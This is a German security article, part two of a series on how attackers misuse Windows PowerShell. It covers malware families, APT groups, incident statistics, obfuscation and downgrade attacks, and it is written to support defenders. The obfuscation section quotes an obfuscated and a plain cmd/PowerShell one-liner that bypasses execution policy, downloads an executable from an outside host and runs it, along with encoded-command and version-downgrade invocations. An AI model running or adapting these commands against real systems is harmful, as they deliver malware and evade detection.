PowerShell II – Bösartiger Einsatz von PowerShell

Dieser Artikel ist der zweite Teil einer mehrteiligen Reihe über Windows PowerShell und darüber, wie Angreifer es missbrauchen, wie Incident Responder und Forensiker diese Angriffe erkennen können – und welche Verteidigungslinien IT-Sicherheitsverantwortliche ziehen können.

Der Artikel beleuchtet, welche Eigenschaften PowerShell als Angriffswerkzeug so beliebt machen. Ausführlich erläutert werden die Eignung für und der Einsatz von PowerShell in echter Schadsoftware und durch Angreifergruppen.

Der erste Artikel der Reihe beschrieb die Phasen echter Angriffe und stellte das Konzept der Post Exploitation vor; anschließend folgte eine Einführung in die technischen Grundlagen von Windows PowerShell.

Eignung von PowerShell als Angriffswerkzeug

2010 wurde die Gemeinschaft der Pentester durch einen Vortrag der Sicherheitsforscher Dave Kennedy und Josh Kelley auf den aufeinander folgenden US-Sicherheitskonferenzen Black Hat und DefCon erstmals auf die offensiven Möglichkeiten von PowerShell aufmerksam. Das Fazit der Sicherheitsforscher damals lautete: „PowerShell for us as security researchers can be a great addition ranging from tool creation and automation when performing security assessments“.

Als Skriptsprache mit großem Funktionsumfang, die fest in die Umgebung eingebunden ist, ermöglicht PowerShell Eindringlingen das Umgehen der größten Hindernisse in der Post Exploitation auf Windows-Systemen: von Malwarescannern und Host-seitigen Einbruchserkennungssystemen (Intrusion Detection System, IDS), wie bereits Kennedy und Kelley herausstellten.

Bösartige Binärdateien wie EXE-Programme geben einem Angreifer durch den unmittelbaren Zugriff auf die umfangreiche Windows-API zwar jede Möglichkeit des Missbrauchs, die er sich ausdenken kann. Inzwischen haben die Hersteller von Malwarescannern durch verbesserte Heuristiken und damit höheren Erkennungsleistungen ihrer Sicherheitssoftware die Hürden für Angriffe mit Binärdateien jedoch höher gelegt ^[2].

Skriptsprachen sind für Angreifer von Vorteil, weil sie eine Abstraktionsebene darstellen, mit der Malwarescanner nicht umgehen können. Eine verbreitete Methode zum Umgehen von Virenscannern ist etwa, ein bösartiges Python-Skript zusammen mit dem legitimen Python-Interpreter in eine ausführbare Datei (EXE) zu packen; Malwarescanner erkennen diese Datei in der Regel nicht als bösartig, weil der Teil der Datei mit dem Python-Interpreter bekannt gutartig ist und den Scannern die Fähigkeit fehlt, das Skript aus der Binärdatei herauszulösen und sinnvoll zu interpretieren ^[2].

Auf ähnliche Weise bietet sich PowerShell durch seine enge Einbindung in Windows für bösartige Zwecke an, weil damit der Bedarf entfällt, eine Binärdatei auf der Festplatte abzulegen. Alle Befehle werden lediglich im flüchtigen Arbeitsspeicher ausgeführt. Damit wird nicht nur das Erkennen durch Malwarescanner erschwert – die Flüchtigkeit der Beweismittel behindert auch eine spätere forensische Untersuchung.

PowerShell ist besonders geeignet für Angriffe, weil es als legitimes Administrationswerkzeug an sich keinen Verdacht erweckt und Zugriff auf alle für einen Angriff benötigten Funktionen bereitstellt. So kann es etwa weiteren Code aus dem Internet oder von einem anderen System herunterladen und ausführen sowie auf die Schnittstellen des .NET-Frameworks und von Windows zugreifen ^{[3, S. 18]}.

Bereits in den Präsentationen von Kennedy und Kelley 2010 wurde gezeigt, wie ein Angreifer eigene Befehle ausführen, Passwörter auslesen und das Kommando über den angegriffenen Rechner dauerhaft übernehmen kann; gleichzeitig veröffentlichten die beiden Sicherheitsforscher entsprechende Skripte, um die Möglichkeiten zur Post Exploitation mit PowerShell zu demonstrieren. Sie skizzierten bereits absehbare Entwicklungen; etwa die Möglichkeit zur Injektion eines PowerShell-Interpreters in andere Prozesse, die erst kurze Zeit später implementiert wurde ^{[1, S. 28]}.

Ende 2011 begannen Sicherheitsforscher mit der Entwicklung von noch komplexeren Angriffsmethoden und implementierten die ersten Skriptsammlungen für Post Exploitation ^{[4 S. 4]}.

Inzwischen wird PowerShell in der Gemeinschaft der Pentester scherzhaft als Microsofts „Post-Exploitation Language“ ^{[5, S. 1]} bezeichnet, weil es sich für Angreifer in der Post-Exploitation-Phase als ebenso mächtig und effizient erwiesen hat wie für den gewöhnlichen IT-Administrator in seiner täglichen Arbeit.

Auch zum initialen Netzwerkzugriff eignet sich Power­Shell: Etwa in einem Social-Engineering-Angriff kann dem Opfer ein bösartiges Office-Dokument untergeschoben werden, das über ein Makro PowerShell-Befehle aufruft. Weitere Dateitypen, über die PowerShell gestartet werden kann, sind etwa: HTA-Skripte (HTML-Applikationen, oft von Scannern nicht blockiert), kompilierte Hilfedateien (CHM), Java JAR-Dateien und andere Skriptdateien mit Endungen wie VBS, BAT oder CMD.

Zudem kann PowerShell nur schwierig abgesichert werden: PowerShell ist Teil des .NET-Frameworks; es gibt nicht nur das eine zentrale Interpreter-Programm powershell.exe, dessen Ausführung gesperrt werden könnte ^{[6, S. 9]}. Angreifer können jene Komponenten des .NET-Frameworks, die PowerShell-Skripte interpretieren, in andere legitime Prozesse laden und damit unbemerkt PowerShell-Skripte ausführen.

Einige Unternehmen und Sicherheitsforscher setzen Suchmaschinen ein, die automatisch im Web nach Malware suchen und gefundene verdächtige Dateien in einer Sandbox ausführen, einer simulierten Umgebung in einer virtuellen Maschine. Darin können sie die Malware teilautomatisiert beobachten und analysieren. Bei PowerShell-Angriffen scheitert dieser Ansatz jedoch häufig auch dann, wenn die Malware keinen Prüfmechanismus besitzt, der sie in einer virtuellen Umgebung einer Sandbox selbsttätig außer Kraft setzt: In vielen Sandbox-Umgebungen ist kein PowerShell-Interpreter installiert, also können solche Skripte nicht ausgeführt und untersucht werden. Einige Sandbox-Produkte unterstützen auch bestimmte Trägerdateien wie LNK-Dateien nicht ^[7].

Manche Sicherheitsforscher sehen PowerShell als Teil eines zukunftssicheren „Next Generation Penetration Testing“ ^{[8, S. 15]}, bei dem möglichst realistisch ein fortgeschrittener Angreifer simuliert wird ^{[9, S. 12]}: Bei einem traditionellen Pentest wird der Kunde oft so schnell wie möglich auf so vielen Wegen wie möglich „gehackt“, ein Pentester verbirgt seine Aktionen kaum – echte Angreifer hingegen haben Zeit, ihnen reicht eine initiale Schwachstelle und sie wollen mit ihrem Verbrechen unerkannt davonkommen. Auch der Penetrationstester Frank Neugebauer fällt dieses Fazit: „Mithilfe der Microsoft PowerShell lassen sich Angriffsszenarien in einem Netz nachstellen, die der Realität entsprechen. Nur die Kenntnis derartiger Abläufe erlaubt es den Betreibern, auf die Gefahren zu reagieren und Maßnahmen zum Schutz zu ergreifen“ ^{[10, S. 134]}.

Noch fehlt vielen IT-Administratoren das Bewusstsein dafür, dass ihr von Microsoft zur Verfügung gestelltes Werkzeug PowerShell gegen sie verwendet werden kann. Weil PowerShell eine Skriptsprache ist, übersehen es ebenfalls viele Incident Responder, die mögliche Sicherheitsvorfälle als Erste untersuchen, als Malware-Einstiegsvektor ^{[11, S. 22]}. Auch große Unternehmen mit eigenen Abteilungen für IT-Sicherheit überwachen Aktivitäten mit PowerShell meist überhaupt nicht ^{[3, S. 18]}.

Popularität und Einsatzzwecke

Der Sicherheitsforscher Benjamin Mossé schätzt, dass etwa 70 bis 80 Prozent der Werkzeuge, die von Penetrationstestern eingesetzt werden, von einigermaßen gut ausgestatteten Organisationen einfach zu erkennen sind – deswegen würden sie von echten Angreifern nicht verwendet ^{[8, S. 6]}. PowerShell-Werkzeuge stellen wegen der schwierigen Detektierbarkeit eine Ausnahme dar.

In einer der ersten Veröffentlichungen, die sich mit der Untersuchung von PowerShell-Angriffen befassen, stellen die Autoren Ryan Kazanciyan und Matt Hastings im August 2014 fest, dass viele Angreifer – ebenso wie IT-Administratoren und Sicherheitsexperten – den möglichst effektiven Einsatz von PowerShell zur Post Exploitation erst erlernen würden. Bei ihren Analysen vergangener Angriffe hatten die Autoren bemerkt, dass Power­Shell nur zu sehr simplen Zwecken eingesetzt wurde, etwa zum Ausführen eines Befehls auf einem entfernten Rechner. Selbst diese einfachen Techniken, die dennoch auf Betriebssystemkomponenten zurückgreifen, reichten aus, um einer Entdeckung zu entgehen ^{[6, S. 4-5]}.

PowerShell-Golf etwa bezeichnet eine unter Angreifern und Pentestern verbreitete Technik, die als Erstes auf den Rechner aufgebrachten PowerShell-Skripte in so wenig Zeichen wie möglich zu packen ^{[5, S. 32-33]}. Dazu wird meist ein wenig funktionsreiches initiales Codestück verwendet, das weitere PowerShell-Skripte von einem normalen Webserver wie Apache nachlädt; zahlreiche Beispielskripte finden sich auf der Codetauschplattform GitHub. Zudem wird häufig eine Technik verwendet, die das eigentliche Skript in Base64 kodiert, einem ursprünglich für E-Mails geschaffenen Zeichensatz, der nur 64 unterschiedliche Zeichen umfasst (im Gegensatz etwa zum umfangreicheren ASCII-Zeichensatz mit 256 Symbolen).

Ein Bericht von Trend Micro über gezielte Angriffe im Jahr 2014 beschreibt, dass fortgeschrittene Angreifer ihre Taktiken verbessert haben, um vor einer Entdeckung versteckt zu bleiben und sich dauerhaften Zugriff auf ein Netzwerk zu verschaffen, indem sie legitime Werkzeuge wie Windows PowerShell oder Anwendungen wie Dropbox missbrauchen. Den Autoren des Berichts zufolge wurden PowerShell-Befehle benutzt, um bösartige Dateien herunterzuladen und Sicherheitsmechanismen zu umgehen, die normalerweise das Ausführen dieser Dateien verhindert hätten. Dadurch würden IT-Administratoren diesen Angriff nicht bemerken, der unter anderen Umständen sehr verdächtige Signale erzeugen würde ^{[12, S. 15]}.

Auch Analysten der Sicherheitsfirma Mandiant berichten, dass sie erstmals 2014 in ihren Untersuchungen von Sicherheitsvorfällen feststellen, dass PowerShell von Angreifern eingesetzt wird, um sich im angegriffenen Netzwerk zu halten, Daten zu sammeln und sich innerhalb des Netzwerkes von System zu System zu bewegen. Sie stellen jedoch ein fortgeschrittenes Niveau der Angreifer fest, die den Einsatz von PowerShell effizient beherrschen ^{[13, S. 14]}.

Insbesondere ist den Autoren der Mandiant-Studie aufgefallen, dass erstmals 2014 eine geringe Zahl von Advanced Persistent Threats (APTs) den Mechanismus der Windows Management Instrumentation (WMI) zum Festsetzen im Netzwerk genutzt hat (Persistenz).

Die Bezeichnung Advanced Persistent Threat – auf Deutsch: fortgeschrittene andauernde Bedrohung – wurde im Jahr 2006 vom US-amerikanischen Militär geprägt und beschreibt einen Angriff durch ein Team von erfahrenen Sicherheitsexperten, die mit hohem Zeitaufwand und individuellen Methoden zielgerichtet auch gut gerüstete Organisationen angreifen.

WMI ist eine Kernkomponente von Windows, die Schnittstellen zur Systemverwaltung bereitstellt. Über PowerShell-Skripte können darüber einfach Daten über Systeme gesammelt, Betriebssystemkomponenten gesteuert und Befehle ausgeführt werden. WMI ermöglicht auch das ereignisbasierte und zeitverzögerte Starten von Anwendungen, darunter Malware. Die Autoren von Mandiant beschreiben, dass fortgeschrittene Angreifer PowerShell und WMI ebenfalls zur Ausbreitung innerhalb eines Netzwerks einsetzen ^{[13, S. 19]}.

Die Studie von Mandiant stellt fest, dass vermehrt Passwörter aus dem Arbeitsspeicher mit der Software Mimikatz im Klartext ausgelesen werden. In fast allen untersuchten Fällen wurde Mimikatz nicht von Malwarescannern erkannt, besonders in seiner PowerShell-Implementierung, die selbst nur im Arbeitsspeicher läuft und nicht auf der Festplatte abgelegt wird. Mimikatz wurde auch in prominenten Angriffen eingesetzt, etwa beim bekannten „Bundestags-Hack“ ^[14].

PowerShell wird von Angreifern ebenfalls genutzt, um einen angegriffenen Rechner oder Dienst initial zu kompromittieren. Etwa bei SQL- oder Befehls-Injection-Schwachstellen ist der direkte Start eines PowerShell-Skriptes für einen Angreifer einfacher – und für einen Verteidiger schwieriger zu entdecken als das Aufbringen einer Binärdatei ^{[5, S. 38]}.

Im März 2016 haben die Sicherheitsexperten Alan Paller und Ed Skoudis auf der IT-Sicherheitskonferenz RSA in San Francisco in der Podiumsdiskussion „The Seven Most Dangerous New Attack Techniques, and What’s Coming Next” Post-Exploitation-Szenarien mit PowerShell als eine der gefährlichsten aktuell verwendeten Angriffsmethoden bezeichnet. Besonders hervorgehoben haben sie das für Pentester entwickelte PowerShell Empire, das kostenlos und einfach zu nutzen sei, fortgeschrittene Sicherheitsmaßnahmen umgehe und Angreifern bei zahlreichen Phasen der Post Exploitation helfe ^{[15, S. 6]}. Empire wird im kommenden Teil der Artikelreihe näher beschrieben.

Beispiele für PowerShell-Malware

Im September 2015 berichtete der Sicherheitsforscher Tyler Halfpop auf der IT-Sicherheitskonferenz DerbyCon in Louisville (Kentucky) in einem Überblicksvortrag, welche in PowerShell geschriebene Schadsoftware bis dahin von Sicherheitsforschern gefunden und in Whitepapern beschrieben worden war ^[16]. Er macht als Schadfunktionen vor allem aus: Herunterladen und Ausführen von Code; Interaktion mit einem Kontrollserver; Persistenz; Spurenbeseitigung; Datendiebstahl.

Im April 2014 beschrieb die Sicherheitsfirma Trend Micro eines der ersten in freier Wildbahn auftauchenden PowerShell-basierten Malware-Programme, das sie PowerWorm taufte. PowerWorm infiziert Office-Dokumente, injiziert ein bösartiges Makro und speichert das befallene Dokument ab. Wird ein infiziertes Word-Dokument oder eine befallene Excel-Tabelle geöffnet, lädt das Makro weitere PowerShell-Module nach, die je nach Konfiguration als Ransomware agieren, also die Festplatte verschlüsseln und den Benutzer zum Zahlen eines Lösegeldes erpressen, oder Zugangsdaten des Benutzers stehlen ^[17].

Ebenfalls 2014 berichtete ein Analyst von Trend Micro, dass die Malware Preshin über eine bösartige Datei im Anhang einer E-Mail ein PowerShell-Skript ausführt, das weiteren Code nachlädt, der Passwörter des Benutzers stiehlt, welche im Browser Internet Explorer oder dem Mailprogramm Outlook gespeichert sind ^[18].

Ein Bericht der Sicherheitsorganisation Virus Bulletin vom Februar 2015 bestätigt den von PowerWorm begonnenen Trend, dass Angreifer im Vorjahr Office-Makros als Verbreitungsvektor von Malware wiederentdeckt haben. Besonders in den 1990ern waren Makroviren verbreitet, starben jedoch weitgehend aus, als neuere Versionen von Microsoft Office Makros im Standard deaktivierten. Seit wenigen Jahren sind Malwareversender dazu übergegangen, ihre Opfer über Social Engineering dazu zu bewegen, Makros wieder zu aktivieren ^[19].

Viele Organisationen werden durch ein einziges Word- oder Excel-Dokument kompromittiert, das in einem unbedachten Augenblick von einem Anwender geöffnet wird ^{[3, S. 28]}.

Der Banking-Trojaner Vawtrak bringt seine Opfer über eine Phishing-Mail mit einem angehängten infizierten Office-Dokument dazu, dort eingebettete Makros zu aktivieren und auszuführen. Anschließend lädt ein auf dem befallenen System erzeugtes PowerShell-Skript eine Binärdatei mit der eigentlichen Trojanerkomponente von einem Webserver. Banking-Trojaner stehlen die Zugangsdaten zu Bankkonten, die daraufhin von Kriminellen leer geräumt werden ^[19].

Im August 2014 beschrieb ein Sicherheitsforscher bei Trend Micro die Malware Poweliks, die zunächst ihr Werk als klassische ausführbare Binärdatei beginnt. Dann jedoch sucht Poweliks auf dem infizierten System nach PowerShell – und, falls es noch nicht auf dem Rechner vorhanden ist, installiert den PowerShell-Interpreter von einer offiziellen Microsoft-Website. Anschließend startet die Malware ein verschlüsseltes PowerShell-Skript, das wiederum eine Binärdatei mit der eigentlichen Schadkomponente ausführt, die vom infizierten Rechner aus Klickbetrug auf Werbebannern begeht – und setzt sich zur Persistenz für den Benutzer unsichtbar und schwierig zu erkennen in der Windows-Registrierung fest.

Der Sicherheitsforscher Halfpop zeichnet in seinem Überblick über PowerShell-Malware eine Evolution der Angriffstechniken nach, die zunehmend komplexer und übergreifender wurden: Wo zunächst nur PowerShell-Befehle ausgeführt wurden, beispielsweise aus einem Word-Makro heraus, wurden diese als nächstes enkodiert, um die grundlegenden Safety-Funktionen von PowerShell zu umgehen. Danach wurde der Zugriff mit PowerShell über die Windows-Registrierung permanent gemacht und die Kommunikation nach außen über HTTPS/TLS verschlüsselte Standard-Websites abgewickelt (wie Facebook oder Dropbox). Schließlich kamen das Auslesen von Anmeldedaten mit Mimikatz und die Infektion anderer Office-Dokumente hinzu ^{[16, S. 55]}.

Angreifergruppen, die PowerShell einsetzen

Die Sicherheitsanalysten von CrowdStrike beschreiben in einem Artikel vom Juli 2014 eine mutmaßlich aus China agierende APT-Gruppe, die DeepPanda getauft wurde. Diese griff gleichzeitig mehrere US-Forschungsorganisationen an, die sich mit nationaler Sicherheit befassen; zu ihren Zielen gehörten ebenfalls Regierungsbehörden und kritische Industrien. Die Gruppe nutzte PowerShell, um die Erkennung durch Malwarescanner oder Host-basierte Einbruchserkennungssysteme zu umgehen, indem sie über WMI in PowerShell geschriebene Hintertüren als geplante Aufgaben auf den ursprünglich infizierten und weiteren Rechnern im Netzwerk installierte ^[21].

Sicherheitsanalysten von FireEye beschreiben Ende 2015 eine Angreifergruppe namens ActivePower, die in fast allen Schritten ihres Angriffs einfache, aber effektive PowerShell-Befehle einsetzt, um ihre Malware herunterzuladen und auszuführen, Passwörter zu stehlen, einen externen Infektionszähler hochzusetzen, die gestohlenen Daten zu komprimieren und an einen entfernten Server zu übertragen. Die Malware nutzt mehrere Techniken zur Umgehung von PowerShell-Sicherheitsfunktionen und prüft, ob sie in einer virtuellen Maschine statt auf einem echten Rechner ausgeführt wird – bricht dann ihre Aktivitäten ab, weil sie damit rechnet, in einer virtuellen Maschine von einer Sicherheitssoftware beobachtet zu werden. Eine der ActivePower-Kampagnen, die Zugangsdaten stehlen sollten, nutzte als Phishing-Köder ein deutschsprachiges Office-Dokument im Rich Text Format (RTF), das beim Öffnen die PowerShell-Befehle ausführte ^[23].

APT29 ist eine mutmaßlich russische Gruppe, die seit mindestens 2008 aktiv ist und verdächtigt wird, im Sommer 2015 die nationale Organisation der Demokratischen Partei der Vereinigten Staaten (Democratic National Committee) kompromittiert zu haben. Daneben soll die Gruppe Netzwerke von US-Ministerien und Militär sowie kritische Industrien wie Verteidigung, Pharma und Energie infiltriert haben. Dabei nutzte die Gruppe eine PowerShell-Hintertür, die über WMI zeitgesteuert aktiviert wird und über eine verschlüsselte Netzwerkverbindung weitere PowerShell-Module nachlädt und im Arbeitsspeicher ausführt, darunter Mimikatz zum Diebstahl von Anmeldedaten ^[24].

Ein von der Sicherheitsorganisation MITRE erstellter Überblick über APTs beschreibt weitere Angreifergruppen, die PowerShell als Teil ihres Werkzeugkastens einsetzen ^[24]:

• SeaDuke nutzt ebenfalls die PowerShell-Implementierung von Mimikatz, um sich innerhalb des befallenen Netzwerks auszubreiten.
• Die Gruppe Patchwork setzt ein einfaches PowerShell-Skript ein, um Malware in Binärform herunterzuladen und auszuführen.
• Ein sprechend benanntes Werkzeug namens „Information Gathering Tool“ der APT-Gruppe Poseidon greift auf PowerShell-Komponenten zurück.
• FIN6 hat ein PowerShell-Modul des Angriffsframeworks Metasploit genutzt, um weiteren böswilligen Code auszuführen und dessen Ablauf vom Rechner des Angreifers zu steuern.

Häufig setzen APTs PowerShell zur Post Exploitation ein, um Schwachstellen zum Erlangen von höheren Privilegien zu finden, die Domäne nach interessanten Benutzern und Dateifreigaben zu durchsuchen, Zugangsdaten durch Brute Force zu knacken, sich mit internen Webservern zu verbinden und deren Inhalte einzusammeln, Passworthashes auszulesen, Screenshots zu erstellen, Netzwerkpakete abzufangen und auszulesen, Tastatureingaben mitzulesen und sich mit erratenen oder gestohlenen Benutzerdaten auf andere Maschinen weiterzuverbinden ^{[5, S. 40]}.

Statistiken zum PowerShell-Einsatz bei Angriffen

In einem Bericht über seine Sicherheitssoftware beschreibt der Hersteller Carbon Black, dass über die gesamte Zahl der bei allen Kunden von „Enterprise Response“ überwachten Rechnern PowerShell von allen ausgeführten Prozessen – etwa Systemdiensten, Textverarbeitungsprogrammen, Browsern, Spezialsoftware – nur einen verschwindend geringen Anteil von 0,3 Prozent einnimmt. Demgegenüber ist ein PowerShell-Prozess an 7 Prozent aller bestätigten Angriffe beteiligt.

Carbon Black hat zudem im April 2016 eine Analyse über 1.100 Sicherheitsvorfälle veröffentlicht, welche sie selbst sowie knapp 30 Partner untersucht haben, darunter auf Incident Response spezialisierte Firmen und Outsourcing-Anbieter von Sicherheitsdienstleistungen (Managed Security Service Providers) ^[26].

In 38 Prozent aller bestätigten Sicherheitsvorfälle wurde PowerShell als ein Teil des Angriffs verwendet. Social Engineering, besonders über Phishing-E-Mails, war der bei Angreifern beliebteste Weg, um sich initial Zugang zu einem System zu verschaffen.

Etwa ein Drittel der von einem PowerShell-Angriff Betroffenen hatten zuvor keine einzige Alarmmeldung von einer ihrer Sicherheitslösungen registriert. 87 Prozent der Angriffe mit PowerShell waren breit gestreute Angriffe mit verbreiteter Malware wie Ransomware oder Banking-Trojanern; 13 Prozent der Power­Shell-Angriffe waren hingegen gezielt gegen die betroffene Organisation gerichtet oder stammten von einem fortgeschrittenen Angreifer.

Mehr als die Hälfte der Sicherheitsdienstleister, die an der Studie teilgenommen haben, fanden bei einem der von der ihnen untersuchten Sicherheitsvorfälle den Banking-Trojaner Vawtrak, knapp die Hälfte den Klickbetrug-Trojaner Poweliks und 42 Prozent die selbstverbreitende Malware PowerWorm.

Bei Sicherheitsvorfällen, bei denen PowerShell in der Angriffskette zum Einsatz kam, sind die häufigsten Ziele der Angreifer, die ermittelt werden konnten: Diebstahl von Finanzdaten; Diebstahl von unternehmenseigenem geistigen Eigentum (Intellectual Property); Diebstahl von Kundendaten; sowie das Stören von Diensten, die die angegriffene Organisation anbietet.

Die Forscher befragten die an der Studie beteiligten Unternehmen, bei welchen bösartigen Aktivitäten sie PowerShell als Teil des Angriffs festgestellt haben. Dabei stellt sich heraus, dass bei fast allen bösartigen Aktivitäten PowerShell häufig oder immer von Angreifern eingesetzt wird: Steuerung (61%), Ausbreitung (47%), Persistenz (47%), Zugangsdatendiebstahl (47%), Rechteerweiterung (37%), Datenausschaffung (26%) sowie Systemstörung (26%).

Im Januar 2017 erstellte der Softwarehersteller Symantec eine Liste, aus der hervorgeht, wie oft ausgewählte Dual-use-Tools (Werkzeuge mit doppeltem Verwendungszweck) auf Rechnern entdeckt wurden, die mit einem Malwarescanner von Symantec überwacht werden. Dabei wurde nicht zwischen legitimer und bösartiger Nutzung der Werkzeuge unterschieden. Nur vier Dual-use-Werkzeuge – darunter PowerShell – wurde auf mehr als einem Prozent aller untersuchten Rechner gefunden ^{[27, S. 19]}.

Tabelle 1: Einsatz von Dual-use-Werkzeugen

Quelle: [27, S. 19]

Obfuskation

Obfuskation (Englisch: obfuscation für Verschleierung) beschreibt den bewussten Akt, etwas möglichst unverständlich zu machen; in der IT bedeutet dies, dass Code produziert wird, der für Menschen schwierig zu lesen ist. Es ist vielleicht die am weitesten verbreitete Methode, um bei Skriptsprachen signaturbasierte Erkennungsmechanismen zu umgehen, da es den statischen Vergleich des zu analysierenden Codes mit dem bekannten bösartigen Code erschwert ^{[28, S. 117-131]}.

Um Quelltext zu verschleiern, können Variablen trügerisch verwendet und verwirrend benannt werden, kann unnötig komplizierte Syntax eingesetzt oder nicht benötigter Junk-Code eingefügt werden. Zudem können Kodierungstechniken oder Doppelkodierung verwendet werden.

Da PowerShell eine Skriptsprache wie JavaScript ist, bietet es sich an, obfuskiert zu werden ^[30].

Einige gängige PowerShell-Verschleierungstechniken sind das Mischen von Groß- und Kleinbuchstaben, da Befehle nicht zwischen Groß- und Kleinschreibung unterscheiden; das Verketten von Zeichenketten mit einfachen oder doppelten Anführungszeichen; oder das Ersetzen bestimmter Argumentwerte durch ihre numerische Darstellung ^[31].

Eine weniger gebräuchliche Technik, die nicht PowerShell-spezifisch ist, besteht darin, einen Befehl zu erstellen, der einen Verzeichnisnamen enthält, welcher länger als die von Windows erlaubten 256 Zeichen ist. In einem solchen Fall wird der lange Name ignoriert, aber der Rest des Befehls wird normal ausgeführt. Dies umgeht auch Signaturen, die PowerShell-Code innerhalb der ersten 256 Zeichen eines Kommandos erwarten ^[32].

Besonders häufig werden jedoch Maskierungszeichen (Escape-Zeichen) verwendet, um Signaturen und reguläre Ausdrücke zur Identifizierung von bösartigem Code zu umgehen. PowerShell ignoriert Escape-Zeichen in den Befehlen und führt den restlichen Code wie gewohnt aus ^[33]. Das Standard-Escape-Zeichen Gravis (`) kann vor jedem anderen Zeichen verwendet werden (mit Ausnahme einiger Sonderfälle), ohne das Ergebnis zu verändern. Wenn PowerShell vom Standard-Befehlszeileninterpreter cmd.exe gestartet wird, kann das Maskierungszeichen Zirkumflex (^) vor einem beliebigen Zeichen stehen.

Zusätzlich kann ausgenutzt werden, dass für einen Parameter eines PowerShell-Befehls nur so viele Zeichen angegeben werden müssen, bis er eindeutig ist ^{[34, S. 394]}.

Der inzwischen von Sophos gekaufte Sicherheitsanbieter Invincea hat einen umfangreichen Artikel veröffentlicht; darin wird ein kompliziert aussehender PowerShell-Befehl entwirrt, der nicht einmal viele Verschleierungstechniken verwendet und dennoch schwierig zu verstehen ist ^[35]. Derselbe Anbieter hat einen Artikel veröffentlicht, der häufig verwendete PowerShell-Verschleierungstechniken beschreibt. Der folgende Abschnitt zeigt beispielsweise die Kombination von Obfuskation durch Groß- und Kleinbuchstaben mit dazwischenliegenden Zirkumflex-Maskierungszeichen sowie Verkettung mehrerer Zeichenfolgen. Alle diese Techniken sind Formen der verwirrenden Verwendung von Syntax.

CmD.exe /c "p^ow^eRSHE^l^l.^EX^E  ^-^E^xECutI^o^N^pOlI^c^y ^byp^AsS  
 ^-n^o^pRoFiL^E  –WINDOwst^YLe  hiD^Den (^NEW-^ob^JECT ^sYs^Tem.NeT.^W^eBcl^I^e^NT).^D^o^wnl^oa^df^ILE^('ht' + 'tp' + ':/' + '/santiago.c' + 'om/doc.e' +'xe', '%apPdATa%.ExE');s^T^ArT-P^RocESS '%APPDAtA%.ExE'"

Die unverschleierte Zeile sieht so aus ^[32]:

cmd.exe /c "powershell.exe –ExecutionPolicy Bypass –WindowStyle hidden (New-Object System.Net.WebClient).DownloadFile('https://santiago.com/doc.exe', '%AppData%.exe'); Start-Process '%AppData%.exe'"

Eine weitere beliebte Verschleierungstechnik ist der Aufruf des PowerShell-Befehlszeileninterpreters powershell.exe mit dem Parameter EncodedCommand. Dieser Parameter akzeptiert eine Base64-kodierte Variante eines Befehls, die sonst bei Eingabe in der Befehlszeile umbrechen könnte, und packt sie in eine zusammenhänge Zeichenkette, wie folgt ^[37]:

powershell.exe -EncodedCommand ZQBjAGgAbwAgACIARABvAHIAbwB0AGgAe[gekürzt]==

Das Verwenden von Base64 ist eine Form der Obfuskation durch Kodierung. Der Sicherheitsforscher Jeff White analysierte Beispiele von PowerShell-Malware, die diese Technik verwenden ^[38].

Die Kombination der Base64-Kodierung mit den zuvor diskutierten Methoden der Verschleierung durch Abkürzen eines Parameternamens auf gerade genug Zeichen, um ihn eindeutig zu machen, und das Einfügen von Zirkumflexen ergibt den folgenden Aufruf:

powershell.exe -^e^C^ ZQBjAGgAbwAgACIARABvAHIAbwB0AGgAe[gekürzt]==

Allein für den EncodedCommand-Parameter sind durch die Kombination dieser Methoden mehr als hunderttausend Varianten der Obfuskation möglich.

Ende 2016 veröffentlichte der Sicherheitsforscher Daniel Bohannon Invoke-Obfuscation, ein Toolkit zur Verschleierung von PowerShell-Skripten, das viele verschiedene Techniken kombiniert ^[36].

PowerShell-Downgrade-Angriffe

Mit der Verbreitung von Sicherheitsmechanismen in neueren PowerShell-Versionen, wie dem verbesserten Constrained Language Mode – mehr dazu in einem späteren Artikel dieser Reihe –, müssen Angreifer Wege finden, diesen Hindernissen auszuweichen. Die einfache Lösung: das Verwenden älterer Versionen von PowerShell, denen die neuen Sicherheitsfunktionen fehlen. Es überrascht nicht, dass das Umgehen von Sicherheitsmerkmalen auf diese Weise als PowerShell-Downgrade-Angriff bezeichnet wird ^[39].

Eine einfache Technik für einen Downgrade-Angriff besteht darin, den nativen Befehlszeileninterpreter powershell.exe aufzurufen und den Versionsparameter anzugeben, um eine ältere Version von PowerShell zu verwenden: PowerShell -Version 2 -Command <Befehl>.

In Windows vor Version 10 ist PowerShell 2.0 zumeist standardmäßig vorhanden. Es ist verfügbar, wenn das .NET Framework 2.0 installiert ist. In Windows 10 ist PowerShell 2.0 nicht im Standard installiert, kann aber als Windows-Funktion aktiviert werden ^[40].

Sollte PowerShell 2.0 nicht verfügbar sein, kann ein Angreifer einen anderen Ansatz wählen: Er kann von einer C#-Anwendung aus auf die PowerShell-Schnittstelle zugreifen, indem er auf die PowerShell 2.0-Bibliotheken zugreift ^[39].

Im nächsten Artikel dieser Reihe werden öffentlich verfügbare Skriptsammlungen mit offensiven PowerShell-Skripten für Post Exploitation vorgestellt.

Über den Autor

Frank Ully studierte Technische Redaktion an der Hochschule Karlsruhe – Technik und Wirtschaft und schloss das Studium als Diplom-Technikredakteur ab (inzwischen: Master Kommunikation und Medienmanagement). Noch während seines Studiums baute er die Abteilung Unternehmenskommunikation und Dokumentation eines Berliner Softwareherstellers auf und leitete sie einige Jahre. Später betreute Frank Ully dort interne Anwendersysteme und war für die IT-Sicherheit verantwortlich. Berufsbegleitend schloss er den Masterstudiengang Security Management mit Spezialisierung auf IT-Sicherheit an der Technischen Hochschule Brandenburg ab und zertifizierte sich zum Offensive Security Certified Expert (OSCE) sowie Offensive Security Certified Professional (OSCP). Frank Ully verfügt zudem über die Zertifikate GIAC Reverse Engineering Malware (GREM) sowie Linux Professional Institute Certification Level 3 (LPIC-3) und ist zertifizierter OSSTMM Professional Security Tester (OPST). Zum Ende seines Masterstudiums begann er im November 2017 seine Arbeit als Penetration Tester und Security Consultant bei Oneconsult Deutschland. Seit April 2018 ist Frank Ully Senior Penetration Tester & Security Consultant.

Über Oneconsult

Die Oneconsult-Unternehmensgruppe ist seit 2003 Ihr renommierter Schweizer Cybersecurity Services Partner mit Büros in der Schweiz und Deutschland und 1500+ weltweit durchgeführten Security-Projekten.

